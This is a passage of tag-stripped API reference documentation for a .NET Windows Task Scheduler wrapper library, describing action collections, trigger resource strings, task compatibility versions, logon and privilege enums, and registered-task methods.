tied to the version of Task Scheduler. + If set to , then no actions will ever be converted to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities are found. + If set to , then actions will be converted only under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the target computer. + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems on or after Windows 8 / Server 2012. + If set to , then any actions not supported by the Task Scheduler version will be converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + + + Gets or sets a an action at the specified index. + + The zero-based index of the action to get or set. + + + + Gets or sets a specified action from the collection. + + + The . + + The id () of the action to be retrieved. + + Specialized instance. + + + + + Mismatching Id for action and lookup. + + + + Adds an action to the task. + + A type derived from . + A derived class. + The bound that was added to the collection. + + + + Adds an to the task. + + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + The bound that was added to the collection. + + + + Adds a new instance to the task. + + Type of task to be created + Specialized instance. + + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot contain null elements. + is null. + + + + Clears all actions from the task. + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Determines whether the specified action type is contained in this collection. + + Type of the action. + + true if the specified action type is contained in this collection; otherwise, false. + + + + + Copies the elements of the to an array of , starting at a particular index. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first occurrence within the entire collection. + + The delegate that defines the conditions of the to search for. + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the objects within the . + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Determines the index of a specific item in the . + + The id () of the action to be retrieved. + + The index of if found in the list; otherwise, -1. + + + + + Inserts an action at the specified index. + + The zero-based index at which action should be inserted. + The action to insert into the list. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Removes the action at a specified index. + + Index of action to remove. + Index out of range. + + + + Copies the elements of the to a new array. + + An array containing copies of the elements of the . + + + + Returns a that represents the actions in this collection. + + + A that represents the actions in this collection. + + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See details in the remarks for . + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has the Version1 flag set. + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for functionality that was + not forward-compatible. + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version2 flag set. + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive property set to true. + TaskDefinition.Settings.Volatile can be set to true. + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, see Enabled Property of + TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task Scheduler service does + not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration triggers, the task will + not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger is updated, the task + will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant cannot be combined with + the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is used, no password is + stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. The password must be + specified when a task is registered. This flag is not recommended for new tasks because it is less reliable than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this privilege. User Right: + Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege identifies its holder as a + security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be set only to those + values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless of the access + control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. This privilege is required by the + RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, + FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, regardless of the ACL + specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, this privilege enables you to set any + valid user or group security identifier (SID) as the owner of a file. This privilege is required by the RegLoadKey function. The following access + rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, + FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: Modify firmware + environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all traversal access checks. It + is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read all objects and + properties in the directory, regardless of the protection on the objects and properties. By default, it is assigned to the Administrator and + LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not supported. Note that this + value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is enabled by default for + administrators, services, and the local system account. User Right: Create global objects. Windows XP/2000: This privilege is not supported. Note + that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of process SID in the + IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default discretionary access control list + (DACL) will be modified to allow only the task SID and local system full control and the account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify the type of state + change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by switching users on + the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop Connection program + from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the Remote Desktop Connection + program from a remote computer. + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, see Task Idle Conditions. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value is one minute. If this + value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no value is specified for + this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time allowed is 1 minute. If + this value is TimeSpan.Zero, then the delay will be set to the default of 1 hour. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, if the task failed to + complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than + the value of the property. If the deadline is not specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive mode. The exclusivity is + guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If exclusivity is not specified, the task is + started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials that are used to + register the task, and the properties that describe the task. + + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the current task. If + changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if there were no future + run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all versions will return + DateTime.MinValue if there are no future run times. While this is different from the native 2.0 library, it was deemed more appropriate to + have consistency between the two libraries and with other .NET libraries. + + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + + Gets a value indicating whether this task is read only. Only available if + is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, + follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the most recent registration + event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling + from the currently registered folder using the currently registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. Run()). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value specified in this + parameter is ignored.If the value is passed into the flags parameter and the sessionID value is less than or + equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID value is a valid session + ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service will try to start the task interactively as + the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID value is a valid session + ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service will try to start the task interactively as the + user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. RunEx(0, 0, "MyUserName")). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current task. + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to execute and read a task, + then the user can stop the task. A user can stop the task instances that are running under the same credentials as the user account. In all other + cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the Task Scheduler. + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by third-parties who wish to + extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data stream directly. + Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can have values under V2. An example of + this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access to the task using the + native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the author of the task, and + the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + 